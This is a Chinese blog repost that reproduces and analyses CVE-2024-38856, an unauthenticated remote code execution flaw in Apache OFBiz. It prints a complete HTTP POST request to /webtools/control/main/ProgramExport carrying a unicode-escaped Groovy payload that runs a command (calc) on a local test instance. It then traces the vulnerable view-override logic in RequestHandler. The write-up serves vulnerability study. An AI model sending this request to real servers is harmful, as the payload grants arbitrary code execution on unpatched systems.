首页 > 其他分享 >Apache OFBiz远程代码执行漏洞(CVE-2024-38856)

Apache OFBiz远程代码执行漏洞(CVE-2024-38856)

时间:2024-09-12 16:28:12浏览次数:1  
标签:control 2024 u0074 u0065 代码执行 apache webapp 38856 ofbiz

漏洞简介

Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。

影响版本

Apache OFBiz <\= 18.12.14

漏洞复现

https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14

下载代码链接 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14

下载后利用 idea 打开并编译运行

image

构造发送数据包

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
​
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

成功执行打开计算器的命令

image

\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b​ 是 throw new Exception('calc'.execute().text);​ 进行编码后的数据

image

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

applications\accounting\webapp\accounting\WEB-INF\web.xml

image

org.apache.ofbiz.webapp.control.ControlServlet​ 会处理所有以/control/​开头的路由

org.apache.ofbiz.webapp.control.ControlServlet#doPost

image

doPost 方法转换为 doGet 请求

org.apache.ofbiz.webapp.control.ControlServlet#doGet

image

利用 RequestHandler​ 来处理请求

org.apache.ofbiz.webapp.control.RequestHandler#doRequest

image

在 RequestHandler#doRequest​ 中依次获取路由相关参数

image

org.apache.ofbiz.base.util.UtilHttp#getApplicationName

image

org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri

image

org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri

image

依次获取到与路由相关的参数后,调用 resolveURI​ 返回路由对应的配置信息

org.apache.ofbiz.webapp.control.RequestHandler#resolveURI

image

这里对应的是

framework/webtools/webapp/webtools/WEB-INF/controller.xml

image

对应的 /webtools/control/main/​ 不需要认证,所以可以继续向下执行

image

image

通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse

image

else if ("view".equals(nextRequestResponse.type)) {
                if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
​
                // check for an override view, only used if "success" = eventReturn
                String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
                renderView(viewName, requestMap.securityExternalView, request, response, saveName);
            }

overrideViewUri​ 非空且 eventReturn​ 为 null​ 或 "success"​ 的情况下,将 viewName​ 设置为 overrideViewUri​。否则将 viewName​ 设置为 nextRequestResponse.value​。

这里请求的路径为 /main/ProgramExport​ 造成 view 的解析冲突,会进入到 ProgramExport 这个业务中 ,renderView 方法会解析与ProgramExport对应的请求

framework/webtools/widget/EntityScreens.xml

image

framework/webtools/groovyScripts/entity/ProgramExport.groovy

image

更多网安技能的在线实操练习,请点击这里>>

  

标签:control,2024,u0074,u0065,代码执行,apache,webapp,38856,ofbiz
From: https://www.cnblogs.com/hetianlab/p/18410495

相关文章

  • Matlab 2024a下载安装教程附安装包全网最详细的教程怎样安装?
    Matlab2024a是一款超厉害的数学计算软件。Matlab2024a下载安装教程附安装包全网最详细的教程怎样安装?它有很多新功能和改进呢。比如有新的常微分方程求解器,能更好地解决复杂微分方程问题,还支持灵敏度分析。后向斜杠操作符也改进了,处理大规模矩阵运算更高效。现在在脚本里可......
  • 亚数TrustAsia亮相第十四届智慧城市与智能经济博览会,入围“2024数据要素创新应用优秀
    2024年9月6日至8日,由宁波市人民政府、浙江省经济和信息化厅、中国信息通信研究院、中国电子信息行业联合会、中国电信、中国移动、中国联通主办的2024世界数字经济大会暨第十四届智慧城市与智能经济博览会(以下简称“智博会”)在宁波国际会展中心成功举办。本届智博会围绕“数字赋能......
  • 推荐2024年10款优质电脑监控软件,电脑监控软件提供工作效率
    随着远程办公、在线学习以及企业信息化管理的需求不断增加,电脑监控软件成为了保障工作效率和信息安全的重要工具。它们可以帮助企业监控员工的工作进度、管理互联网使用情况,以及防止数据泄露。家长也可以通过这些软件来监督孩子的上网行为,确保网络安全。本文将为大家推荐10款在......
  • 2024年的端到端自动驾驶综述
    2024年的端到端自动驾驶综述这是一篇比较新的2024年端到端自动驾驶的综述文章。目前在arXiv上可以阅读到。https://arxiv.org/abs/2306.16927v3​arxiv.org/abs/2306.16927v3阅读之后写下这篇文章记录我的一些学习心得。本文将遵循整篇论文的框架进行写作,但是我不太愿意......
  • 2024 sheep
    类似最小生成树,对边排序依次加上,但是数据大,要进行离线处理,存起来,将比他小的边加上,判断连通用并查集(路径压缩,按秩合并)。唐完的我在赛时没写按秩,而且while没写终止条件(唐老鸭)。先按秩后合并,测评机有点玄学但确实要这样。初版:#include<bits/stdc++.h>usingnamespacestd;cons......
  • NOIP2024集训Day27 DP常见模型4 - 树形
    NOIP2024集训Day27DP常见模型4-树形E.[COCI2014-2015#1]Kamp首先只考虑一个点,发现如果回到原来位置是比较好搞的,就每次走完子树的里面要的就上来,如果子树里面没有要走的就不走。(大概是\(f_x=\sumf_y+2\cdote_x\),因为要走过去走回来,注意\(y\)要保证子树里面有人)......
  • 2024年Java常见面试题整理
    1、java为什么要有包装类型?主要原因包括以下几点:处理基本数据类型的null值:基本数据类型(如int,double等)不能直接赋值为null,而包装类型(如Integer、Double)可以表示null值,这对于某些业务逻辑和数据处理来说非常有用。提供额外功能:包装类型提供了一些额外的方法和功能,这些......
  • 揭秘最全议程!2024云栖大会「云原生+AI」有哪些看点?
    ......
  • 【万象AI,安全新生】美洽献力2024国家网络安全宣传周-成都站
    9月11日,2024年国家网络安全宣传周成都系列活动拉开帷幕。本届活动以“网络安全为人民,网络安全靠人民”为主题,由成都市委宣传部、市委网信办、市经信局市新经济委、市教育局、市公安局、市文广旅局等十个部门联合举办。2024CCS成都网络安全大会作为核心活动之一在当天启动。大会以......
  • CTS2024 题解
    \(\text{ByDaiRuiChen007}\)D1T1.水镜ProblemLink给定\(a_1\sima_n\),求多少个\([l,r]\)满足存在实数\(L\),将若干个\(a_i\)变成\(2L-a_i\)后\(a_l\sima_r\)严格递增。数据范围:\(n\le10^6\)。考虑钦定\(i-1\)翻转/不翻转,\(i\)翻转/不翻转,容易发现......